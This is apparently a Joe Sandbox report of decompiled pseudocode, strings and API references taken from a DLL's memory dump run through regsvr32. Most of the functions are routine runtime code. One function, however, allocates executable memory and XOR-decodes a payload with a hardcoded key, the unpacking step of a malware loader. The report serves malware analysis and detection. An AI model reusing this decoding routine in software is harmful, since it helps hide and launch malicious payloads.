E, xrefs: 1000A766
,, xrefs: 1000AB26
-, xrefs: 10008276
f, xrefs: 1000C706
u, xrefs: 1000B536
D, xrefs: 1000B8B6
N, xrefs: 1000A2EE
k, xrefs: 1000CB7E
w, xrefs: 10008FC6
N, xrefs: 1000A09E
c, xrefs: 1000D30E
Y, xrefs: 1000995E
m, xrefs: 1000C236
v, xrefs: 1000C86E
&, xrefs: 10008B86
{, xrefs: 10008F86
D, xrefs: 10008F7E
d, xrefs: 100084C6
B, xrefs: 1000875E
., xrefs: 1000947E
D, xrefs: 10009936
', xrefs: 1000AF66
&, xrefs: 1000B4EE
:, xrefs: 10008F56
H, xrefs: 100094BE
u, xrefs: 1000C7EE
4, xrefs: 100087BE
B, xrefs: 10008A86
E, xrefs: 1000BE06
x, xrefs: 1000C1D6
w, xrefs: 1000926E
`, xrefs: 10008B6E
&, xrefs: 1000A77E
#, xrefs: 10009136
1, xrefs: 1000983E
N, xrefs: 1000D096
z, xrefs: 100090FE
f, xrefs: 1000AC36
M, xrefs: 10009E0E
=, xrefs: 1000AE96
w, xrefs: 100092A6
1, xrefs: 1000A99E
[, xrefs: 1000AE06
;, xrefs: 10009816
N, xrefs: 1000B22E
W, xrefs: 1000D3AB
D, xrefs: 1000C096
o, xrefs: 1000A56E
c, xrefs: 1000B3E6
7, xrefs: 1000A6AE
M, xrefs: 1000AD7E
m, xrefs: 1000B7F6
(, xrefs: 10009A6E
b, xrefs: 1000A23E
9, xrefs: 1000B4C6
&, xrefs: 1000877E
3, xrefs: 1000C44E
#, xrefs: 10008746
Y, xrefs: 1000B516
E, xrefs: 1000C056
D, xrefs: 1000A6FE
7, xrefs: 1000959E
0, xrefs: 1000BB46
b, xrefs: 1000B10E
&, xrefs: 10008BBE
T, xrefs: 1000C306
!, xrefs: 10009C4E
w, xrefs: 1000CCD6
1, xrefs: 10008CAE
., xrefs: 100099B6
n, xrefs: 1000CBB6
E, xrefs: 1000BB8E
7, xrefs: 1000A8A6
y, xrefs: 10008E1E
,, xrefs: 1000C9D6
9, xrefs: 1000D1DE
w, xrefs: 1000D23E
+, xrefs: 1000B726
, xrefs: 10009236
l, xrefs: 1000A83E
,, xrefs: 1000C0FE
(, xrefs: 1000C126
&, xrefs: 1000C2E6
/, xrefs: 1000BBBE
), xrefs: 10009CFE
>, xrefs: 100088F6
), xrefs: 10008C56
W, xrefs: 1000AB66
^, xrefs: 1000BC1E
|, xrefs: 1000A326
{, xrefs: 1000BB0E
\, xrefs: 1000BBB6
f, xrefs: 1000834E
#, xrefs: 1000C39E
y, xrefs: 1000A85E
), xrefs: 10008EC6
5, xrefs: 1000C12E
8, xrefs: 1000C0D6
<, xrefs: 1000CA5E
', xrefs: 100089EE
*, xrefs: 100093CE
<, xrefs: 10009306
c, xrefs: 100096AE
f, xrefs: 1000C11E
{, xrefs: 10009A76
L, xrefs: 10008E2E
5, xrefs: 10009BC6
c, xrefs: 10008FCE
g, xrefs: 1000976E
', xrefs: 1000C24E
0, xrefs: 1000C326
<, xrefs: 10008A96
M, xrefs: 1000C17E
A, xrefs: 1000CBDE
*, xrefs: 100086AE
X, xrefs: 100096F6
?, xrefs: 1000AE8E
o, xrefs: 10008E76
2, xrefs: 10008AF6
*, xrefs: 10009326
Q, xrefs: 10009E86
(, xrefs: 1000BEAE
Q, xrefs: 1000A74E
a, xrefs: 1000A92E
i, xrefs: 1000D18E
., xrefs: 10009E4E
~, xrefs: 1000A4BE
], xrefs: 1000CF36
e, xrefs: 1000D336
P, xrefs: 1000C576
?, xrefs: 1000AFCE
z, xrefs: 10008F06
d, xrefs: 1000B3EE
^, xrefs: 1000C4B6
(, xrefs: 10009416
G, xrefs: 1000869E
o, xrefs: 1000D05E
a, xrefs: 1000996E
C, xrefs: 1000859E
j, xrefs: 1000C596
P, xrefs: 10008BEE
(, xrefs: 10008B16
1, xrefs: 1000B40E
l, xrefs: 1000A576
G, xrefs: 1000C09E
r, xrefs: 1000A456
5, xrefs: 1000C27E
2, xrefs: 10008876
U, xrefs: 10008E96
n, xrefs: 1000B1FE
F, xrefs: 1000B69E
k, xrefs: 10008FDE
T, xrefs: 1000C3AE
f, xrefs: 1000860E
>, xrefs: 1000C1A6
3, xrefs: 1000893E
M, xrefs: 1000A10E
i, xrefs: 10009AC6
*, xrefs: 1000B556
2, xrefs: 10008B66
L, xrefs: 1000A32E
r, xrefs: 10008BB6
Q, xrefs: 100090D6
5, xrefs: 10008496
7, xrefs: 10009E6E
`, xrefs: 100091FE
~, xrefs: 10009C1E
T, xrefs: 1000C4FE
@, xrefs: 1000A13E
O, xrefs: 1000B24E
S, xrefs: 1000A1E6
", xrefs: 1000C5B6
S, xrefs: 1000A8BE
e, xrefs: 1000904E
A, xrefs: 100088B6
0, xrefs: 1000B136
M, xrefs: 1000C06E
-, xrefs: 1000CC9E
`, xrefs: 10009156
t, xrefs: 1000CD96
S, xrefs: 1000AF46
7, xrefs: 1000AC96
', xrefs: 1000AF6E
G, xrefs: 1000B7FE
D, xrefs: 1000CD0E
f, xrefs: 1000B9E6
y, xrefs: 10009736
;, xrefs: 1000CE7E
H, xrefs: 1000D316
o, xrefs: 10009FDE
;, xrefs: 1000AA66
L, xrefs: 10008936
f, xrefs: 1000A4C6
(, xrefs: 1000B016
p, xrefs: 1000CEBE
], xrefs: 1000B3A6
z, xrefs: 1000CF1E
9, xrefs: 1000903E
a, xrefs: 1000BABE
E, xrefs: 1000BB76
B, xrefs: 10009826
y, xrefs: 1000BC06
u, xrefs: 1000CAFE
|, xrefs: 1000D16E
r, xrefs: 1000AD3E
c, xrefs: 1000CBD6
o, xrefs: 10009206
G, xrefs: 10009466
E, xrefs: 10008E46
\, xrefs: 1000D356
f, xrefs: 1000A67E
%, xrefs: 10009AEE
9, xrefs: 1000C69E
B, xrefs: 1000C426
>, xrefs: 100089B6
W, xrefs: 1000C036
G, xrefs: 1000858E
&, xrefs: 100084F6
z, xrefs: 1000B41E
W, xrefs: 1000A3BE

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: LibraryLoad
String ID: $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$"$"$"$"$"$"$"$"$"$"$"$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$#$$$$$$$$$$$$$$$$$$$$$%$%$%$%$%$%$%$&$&$&$&$&$&$&$&$&$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$'$($($($($($($($($($($($($($($($($($($($($($)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$+$+$+$+$+$+$+$+$+$,$,$,$,$,$,$,$,$,$,$,$,$-$-$-$-$-$-$-$.$.$.$.$.$.$.$.$.$.$.$.$/$/$/$/$/$/$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$0$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$1$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$3$4$4$4$4$4$4$4$4$4$4$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$5$6$6$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$8$8$8$8$8$8$8$8$8$8$8$9$9$9$9$9$9$9$9$9$9$9$9$9$9$9$:$:$:$:$:$:$:$:$:$:$:$;$;$;$;$;$;$<$<$<$<$<$<$<$<$<$<$<$<$<$<$=$=$=$=$=$=$=$=$=$=$=$=$>$>$>$>$>$>$>$>$>$?$?$?$?$?$?$?$@$@$@$@$@$@$A$A$A$A$A$A$A$A$A$A$A$A$A$A$A$B$B$B$B$B$B$B$B$B$B$B$B$B$B$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$C$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$D$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$E$F$F$F$F$F$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$G$H$H$H$H$H$H$H$H$H$H$H$H$I$I$I$I$I$J$J$K$K$K$K$K$K$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$L$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$M$N$N$N$N$N$N$N$N$N$N$N$O$O$O$O$O$O$O$O$O$P$P$P$P$P$P$P$P$P$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$Q$R$R$R$R$R$R$R$R$S$S$S$S$S$S$S$T$T$T$T$T$T$T$T$T$T$T$T$T$T$T$U$U$U$U$U$U$U$U$U$U$V$V$V$V$V$V$V$V$V$V$V$V$V$V$W$W$W$W$W$W$W$W$W$W$W$W$W$X$X$X$X$X$X$X$Y$Y$Y$Y$Y$Y$Y$Y$Y$Y$Z$Z$Z$Z$Z$[$[$[$[$[$[$[$\$\$\$\$\$\$\$\$\$]$]$]$]$]$]$]$]$]$]$]$]$]$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$^$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$_$`$`$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$b$c$c$c$c$c$c$c$c$c$c$c$c$c$d$d$d$d$d$d$d$d$d$d$d$d$e$e$e$e$e$e$e$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$f$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$h$h$h$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$i$j$j$j$j$j$j$k$k$k$k$k$k$k$k$l$l$l$l$l$l$l$l$l$l$l$m$m$m$m$m$m$m$m$m$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$o$o$o$o$o$o$o$o$o$o$p$p$p$p$p$p$p$p$p$p$p$p$p$q$q$q$r$r$r$r$r$r$r$r$r$r$r$s$s$sc.exe$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$t$u$u$u$u$u$u$u$u$u$u$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$v$w$w$w$w$w$w$w$w$w$w$w$w$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$x$y$y$y$y$y$y$y$y$y$y$y$z$z$z$z$z$z$z$z$z$z${${${${${${${${${${${${${${${${${$|$|$|$|$|$|$|$|$|$|$}$}$~$~$~$~$~$~$~$~$~$~$~
API String ID: 1029625771-2506516590
Opcode ID: 615c78f146e50c3b708e655927f8102d1d828334ab5519c164bb2c7066d6ca6c
Instruction ID: da0f20f4147e62fc2e6f24de174f6199d4dc02ecb95da4070eb259203e9d2f6c
Opcode Fuzzy Hash: 615c78f146e50c3b708e655927f8102d1d828334ab5519c164bb2c7066d6ca6c
Instruction Fuzzy Hash: E9A34F5250DBC1C9E332C23CA4587CFAE8193A3319F484299D3E41AADBC7AE8155DF67

Uniqueness

Uniqueness Score: -1.00%

Function 10028980 Relevance: 15.1, APIs: 10, Instructions: 111
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E10028980(void* __ecx, void* __edx, void* __esi, void* __rcx, void* __r8, signed long long __r11) {
				void* __rbx;
				void* __rdi;
				signed int _t42;
				void* _t44;
				void* _t50;
				signed int _t51;
				void* _t53;
				signed long long _t68;
				void* _t70;
				signed long long _t71;
				signed long long _t72;
				intOrPtr _t75;
				intOrPtr _t78;
				intOrPtr _t88;
				void* _t93;
				intOrPtr _t94;
				void* _t95;
				void* _t98;
				signed long long _t99;

				_t99 = __r11;
				_t95 = __r8;
				_t53 = __esi;
				_t50 = __edx;
				_t44 = __ecx;
				_t93 = __rcx;
				EnterCriticalSection(??);
				_t1 = _t93 + 4; // 0x300000020
				_t75 =  *_t1;
				_t2 = _t93 + 8; // 0x300000003
				_t94 =  *_t2;
				if(__esi >= __ecx) {
					L2:
					_t53 = 1;
					_t88 = _t94;
					if(_t94 >= _t75) {
						L6:
						if(_t53 >= _t44) {
							_t11 = _t75 + 0x20; // 0x300000040
							r12d = _t11;
							_t12 = _t93 + 0x10; // 0x11cec0
							_t78 =  *_t12;
							if(_t78 != 0) {
								GlobalHandle();
								_t79 = _t68;
								_t71 = _t68;
								GlobalUnlock(??);
								r11d = r12d;
								_t47 = 0xffffffff;
								__eflags = _t99 << 4 - _t68;
								if(__eflags > 0) {
									_t47 = 0x80070057;
									E10001000(0x80070057, _t50, _t68, _t71, _t79, _t93, _t95, _t98);
									asm("int3");
								}
								_t51 = r11d;
								r8d = 0x2002;
								GlobalReAlloc(??, ??, ??);
							} else {
								_t42 = r12d;
								_t68 = _t68 << 4;
								if(_t68 > _t78) {
									_t42 = E10001000(0x80070057, _t50, _t68, _t70, _t78, _t93, _t95, _t98);
									asm("int3");
								}
								_t51 = _t42;
								_t47 = 2; // executed
								GlobalAlloc(??, ??); // executed
							}
							if(_t68 == 0) {
								_t13 = _t93 + 0x10; // 0x11cec0
								_t64 =  *_t13;
								if( *_t13 != 0) {
									GlobalHandle();
									GlobalLock(??);
								}
								LeaveCriticalSection();
								E1000E35C(_t47, _t51, _t64, _t98);
								asm("int3");
							}
							GlobalLock();
							_t15 = _t93 + 4; // 0x300000020
							_t72 = _t68;
							_t16 = _t93 + 4; // 0x300000020
							E1002E410(r12d -  *_t16, _t47, 0, ( *_t15 << 4) + _t72, _t88, r12d -  *_t16 << 4);
							 *(_t93 + 4) = r12d;
							 *(_t93 + 0x10) = _t72;
						}
						L19:
						_t19 = _t93 + 0xc; // 0x11cec000000003
						if(_t53 >=  *_t19) {
							_t20 = _t94 + 1; // 0x11cec000000004
							 *((intOrPtr*)(_t93 + 0xc)) = _t20;
						}
						_t22 = _t93 + 0x10; // 0x11cec0
						 *( *_t22 + (_t53 + _t53) * 8) =  *( *_t22 + (_t53 + _t53) * 8) | 0x00000001;
						_t27 = _t94 + 1; // 0x11cec000000004
						 *((intOrPtr*)(_t93 + 8)) = _t27;
						LeaveCriticalSection(??);
						return _t53;
					}
					_t8 = _t93 + 0x10; // 0x11cec0
					_t68 =  *_t8 + 0x10;
					while(( *_t68 & 0x00000001) != 0) {
						_t88 = _t88 + 1;
						_t53 = _t53 + 1;
						_t68 = _t68 + 0x10;
						if(_t88 < _t75) {
							continue;
						}
						goto L6;
					}
					goto L6;
				}
				_t3 = _t93 + 0x10; // 0x11cec0
				_t68 =  *_t3;
				if(( *(_t68 + (_t94 + _t94) * 8) & 0x00000001) == 0) {
					goto L19;
				}
				goto L2;
			}

0x10028980
0x10028980
0x10028980
0x10028980
0x10028980
0x1002898b
0x10028992
0x10028998
0x10028998
0x1002899c
0x1002899c
0x100289a2
0x100289b8
0x100289b8
0x100289c0
0x100289c3
0x100289e2
0x100289e4
0x100289ea
0x100289ea
0x100289ee
0x100289ee
0x100289f5
0x10028a22
0x10028a28
0x10028a2b
0x10028a2e
0x10028a34
0x10028a37
0x10028a40
0x10028a43
0x10028a45
0x10028a4a
0x10028a4f
0x10028a4f
0x10028a50
0x10028a53
0x10028a5c
0x100289f7
0x100289f7
0x100289ff
0x10028a06
0x10028a0d
0x10028a12
0x10028a12
0x10028a13
0x10028a15
0x10028a1a
0x10028a1a
0x10028a65
0x10028a67
0x10028a6b
0x10028a6e
0x10028a70
0x10028a79
0x10028a79
0x10028a83
0x10028a89
0x10028a8e
0x10028a8e
0x10028a92
0x10028a98
0x10028a9e
0x10028aa8
0x10028ab5
0x10028aba
0x10028abe
0x10028abe
0x10028ac2
0x10028ac2
0x10028ac5
0x10028ac7
0x10028aca
0x10028aca
0x10028acd
0x10028ad7
0x10028adb
0x10028ade
0x10028ae5
0x10028af7
0x10028af7
0x100289c5
0x100289c9
0x100289cd
0x100289d2
0x100289d6
0x100289d9
0x100289e0
0x00000000
0x00000000
0x00000000
0x100289e0
0x00000000
0x100289cd
0x100289a4
0x100289a4
0x100289b2
0x00000000
0x00000000
0x00000000

APIs

EnterCriticalSection.KERNEL32 ref: 10028992
GlobalAlloc.KERNELBASE ref: 10028A1A
GlobalHandle.KERNEL32 ref: 10028A22
GlobalUnlock.KERNEL32 ref: 10028A2E
GlobalReAlloc.KERNEL32 ref: 10028A5C
GlobalHandle.KERNEL32 ref: 10028A70
GlobalLock.KERNEL32 ref: 10028A79
LeaveCriticalSection.KERNEL32 ref: 10028A83
GlobalLock.KERNEL32 ref: 10028A92
LeaveCriticalSection.KERNEL32 ref: 10028AE5

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 6499436d23f62981fddcf3e059aa4534577dc6efce1f6de62b85bb8e101aaa12
Instruction ID: b1c169beafac3a0314461a4e19fe762c2be72249dc4324e67792b3f50caf836f
Opcode Fuzzy Hash: 6499436d23f62981fddcf3e059aa4534577dc6efce1f6de62b85bb8e101aaa12
Instruction Fuzzy Hash: 70410576B02A8083EE09CB25F9543686361FB48BD1F458426DF6E47B51EFB8E9E1C700

Uniqueness

Uniqueness Score: -1.00%

Function 10040E80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E10040E80(void* __edx, long long __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __rbp, void* __r8, long long __r12, long long _a8, long long _a16, long long _a24, long long _a32) {
				int _v20;
				char _v24;
				long long _v40;
				void* _t17;
				int _t19;
				int _t28;
				long long _t34;
				long long _t36;
				long long _t38;
				long long _t40;
				void* _t46;

				_t46 = __rdx;
				_t34 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_a32 = __r12;
				_v24 = 0;
				_t40 =  *0x100b83e0; // 0xc991484e000000
				E10035D00(_t17, __rax, _t40);
				_t36 = _t34;
				if(_t34 == 0) {
					if(E10033350(_t34, _t36,  &_v24, _t46, __rdi, __rsi, __rbp, __r8) != 0) {
						_v40 = __rdi;
						r9d = 0;
						r8d = 0;
						_t21 = E100342D0(0, _t46, __r8);
					}
					if(_v24 != 1) {
						_t21 = GetModuleHandleA();
						if(_t34 == 0) {
							_t38 = 0x10040e60;
						} else {
							_t21 = GetProcAddress();
							_t38 = _t34;
							if(_t34 == 0) {
								_t38 = 0x10040e60;
							}
						}
					} else {
						_t38 = 0x10040e60;
					}
					E10035C30(_t21, _t34, _t38);
					 *0x100b83e0 = _t34;
				}
				_t19 = InitializeCriticalSectionAndSpinCount(); // executed
				_t28 = _t19;
				_v20 = _t19;
				return _t28;
			}

0x10040e80
0x10040e80
0x10040e84
0x10040e89
0x10040e8e
0x10040e93
0x10040e9f
0x10040ea3
0x10040eaa
0x10040eaf
0x10040eb5
0x10040ec3
0x10040ec5
0x10040eca
0x10040ecd
0x10040ed4
0x10040ed4
0x10040ede
0x10040ef0
0x10040ef9
0x10040f1c
0x10040efb
0x10040f05
0x10040f0b
0x10040f11
0x10040f13
0x10040f13
0x10040f11
0x10040ee0
0x10040ee0
0x10040ee0
0x10040f26
0x10040f2b
0x10040f2b
0x10040f37
0x10040f39
0x10040f3b
0x10040f73

APIs

Part of subcall function 10035D00: FlsGetValue.KERNEL32(?,?,00000018,10034295,?,?,00000018,1002E317,?,?,?,?,1000E249), ref: 10035D14

InitializeCriticalSectionAndSpinCount.KERNELBASE(?,?,?,?,?,?,?,?,10040A79,?,?,?,?,10040B17), ref: 10040F37

Part of subcall function 100342D0: RtlCaptureContext.KERNEL32 ref: 100342E1
Part of subcall function 100342D0: IsDebuggerPresent.KERNEL32 ref: 10034325
Part of subcall function 100342D0: SetUnhandledExceptionFilter.KERNEL32 ref: 1003432F
Part of subcall function 100342D0: UnhandledExceptionFilter.KERNEL32 ref: 1003433A
Part of subcall function 100342D0: GetCurrentProcess.KERNEL32 ref: 10034350
Part of subcall function 100342D0: TerminateProcess.KERNEL32 ref: 1003435E

GetModuleHandleA.KERNEL32 ref: 10040EF0
GetProcAddress.KERNEL32 ref: 10040F05

Strings

kernel32.dll, xrefs: 10040EE9
InitializeCriticalSectionAndSpinCount, xrefs: 10040EFB

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$AddressCaptureContextCountCriticalCurrentDebuggerHandleInitializeModulePresentProcSectionSpinTerminateValue
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 3965005379-3733552308
Opcode ID: cee9a2b3ccad79eda30c1eddc94a0715290b8ebd715cf18add453e8cd2538b80
Instruction ID: 9f5f8b9a4e94b2816bab12a8033e0a45bb8ab85a650dc147ff3db54e64012234
Opcode Fuzzy Hash: cee9a2b3ccad79eda30c1eddc94a0715290b8ebd715cf18add453e8cd2538b80
Instruction Fuzzy Hash: 74218C35614B4086DA15CB12B85038AB3E5FB88BC0F98043AFE8D97B24EFB9D514CB04

Uniqueness

Uniqueness Score: -1.00%

Function 10008150 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E10008150(void* __edx, void* __ebp, void* __eflags, signed char* __rax, void* __rcx, void* __r8) {
				signed int _t10;
				signed int _t11;
				signed char _t12;
				void* _t27;
				signed char* _t31;
				void* _t48;
				void* _t50;
				signed char* _t51;

				_t50 = __r8;
				_t31 = __rax;
				_t29 = __eflags;
				_t27 = __edx;
				E10007CD0(__ebp, __eflags, __rax, 0x100b3630, L"cxvzsawqjegfk"); // executed
				E10007F98(0xa, __ebp, _t29, _t31, _t31);
				E10007B1C(_t31);
				_t10 = E10031570(L"8192", L"cxvzsawqjegfk");
				_t11 = E10031570(L"4096", L"cxvzsawqjegfk");
				r9d = 0x40;
				r8d = _t10 | _t11; // executed
				_t12 = VirtualAlloc(??, ??, ??, ??); // executed
				r8d = 0;
				if(_t31 != _t50) {
					__eflags = _t27 - r8d;
					if(_t27 <= r8d) {
						L5:
						return _t12;
					}
					_t51 = _t31;
					_t48 = __rcx - _t31;
					__eflags = _t48;
					do {
						r8d = r8d + 1;
						_t12 =  *(((0xcf3cf3cf * r8d >> 0x20 >> 2) + (0xcf3cf3cf * r8d >> 0x20 >> 2 >> 0x1f)) * 0x15 + r8d + "_^aMV^7x#GT*f(tvDGaC") ^  *(_t48 + _t51);
						 *_t51 = _t12;
						_t51 =  &(_t51[1]);
						__eflags = r8d - _t27;
					} while (r8d < _t27);
					goto L5;
				}
				return 0;
			}

0x10008150
0x10008150
0x10008150
0x10008158
0x1000816b
0x1000817a
0x10008182
0x1000818e
0x1000819c
0x100081a6
0x100081ae
0x100081b1
0x100081b7
0x100081c0
0x100081c6
0x100081c9
0x1000820e
0x00000000
0x1000820e
0x100081cb
0x100081ce
0x100081ce
0x100081d1
0x100081e6
0x100081fe
0x10008202
0x10008205
0x10008209
0x10008209
0x00000000
0x100081d1
0x00000000

APIs

VirtualAlloc.KERNELBASE ref: 100081B1

Strings

_^aMV^7x#GT*f(tvDGaC, xrefs: 100081F4
8192, xrefs: 10008187
cxvzsawqjegfk, xrefs: 1000815D
4096, xrefs: 10008193

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID: 4096$8192$_^aMV^7x#GT*f(tvDGaC$cxvzsawqjegfk
API String ID: 4275171209-2071307723
Opcode ID: 0184e79924b3e126f7047e94b65ae1913e02b4484661ae48b60c849f6fcc079c
Instruction ID: 48cf5aaafcff3f2666ea534b016f05ed4b9694c17592cebf051538759ebd56c8
Opcode Fuzzy Hash: 0184e79924b3e126f7047e94b65ae1913e02b4484661ae48b60c849f6fcc079c
Instruction Fuzzy Hash: 8E11CE25B1051405EF15C77AEC617E93390AB4DBD1F805031DD8E8B797FC6DC9868300

Uniqueness

Uniqueness Score: -1.00%

Function 100361F0 Relevance: 7.5, APIs: 5, Instructions: 47
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E100361F0(void* __edx, void* __eflags, long* __rax, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __r12, void* __r13) {
				void* __rbx;
				intOrPtr _t4;
				void* _t8;
				long _t10;
				intOrPtr _t12;
				intOrPtr _t13;
				long* _t25;
				long* _t26;
				long* _t31;
				void* _t34;

				_t35 = __r12;
				_t33 = __rsi;
				_t32 = __rdi;
				_t25 = __rax;
				E10033620(__eflags, __rax, __rcx, __rdx); // executed
				_t4 = E10040870(_t26, __rdi, __rsi, _t34, __r12, __r13); // executed
				if(_t4 == 0) {
					L5:
					_t12 =  *0x100b1a20; // 0x5
					__eflags = _t12 - 0xffffffff;
					if(_t12 != 0xffffffff) {
						__imp__FlsFree();
						 *0x100b1a20 = 0xffffffff;
					}
					goto L7;
				} else {
					__imp__FlsAlloc();
					 *0x100b1a20 = _t4;
					if(_t4 == 0xffffffff) {
						L7:
						_t13 =  *0x100b1a24; // 0xffffffff
						__eflags = _t13 - 0xffffffff;
						if(_t13 != 0xffffffff) {
							TlsFree();
							 *0x100b1a24 = 0xffffffff;
						}
						E10040920(_t26, _t32, _t33, _t34, _t35);
						__eflags = 0;
						return 0;
					} else {
						_t8 = E10038890(_t25, _t26, 0x10036010, __rdx, _t32, _t33, _t34, _t35);
						_t26 = _t25;
						if(_t25 == 0) {
							goto L5;
						} else {
							_t31 = _t25;
							__imp__FlsSetValue();
							if(_t8 == 0) {
								goto L5;
							} else {
								E10035DC0(_t25, _t26, _t26, _t31, _t32, _t33);
								_t10 = GetCurrentThreadId();
								_t26[2] = 0xffffffff;
								 *_t26 = _t10;
								return 1;
							}
						}
					}
				}
			}

0x100361f0
0x100361f0
0x100361f0
0x100361f0
0x100361f6
0x100361fb
0x10036202
0x1003626b
0x1003626b
0x10036271
0x10036274
0x10036276
0x1003627c
0x1003627c
0x00000000
0x10036204
0x1003620b
0x10036214
0x1003621a
0x10036286
0x10036286
0x1003628c
0x1003628f
0x10036291
0x10036297
0x10036297
0x100362a1
0x100362a6
0x100362ad
0x1003621c
0x10036226
0x1003622e
0x10036231
0x00000000
0x10036233
0x10036239
0x1003623c
0x10036244
0x00000000
0x10036246
0x1003624b
0x10036250
0x10036256
0x1003625e
0x1003626a
0x1003626a
0x10036244
0x10036231
0x1003621a

APIs

FlsAlloc.KERNEL32(?,?,00000000,100320BD), ref: 1003620B

Part of subcall function 10038890: Sleep.KERNEL32(?,?,?,?,10035F07,?,?,?,?,10032429,?,?,?,?,1002E31C), ref: 100388E0

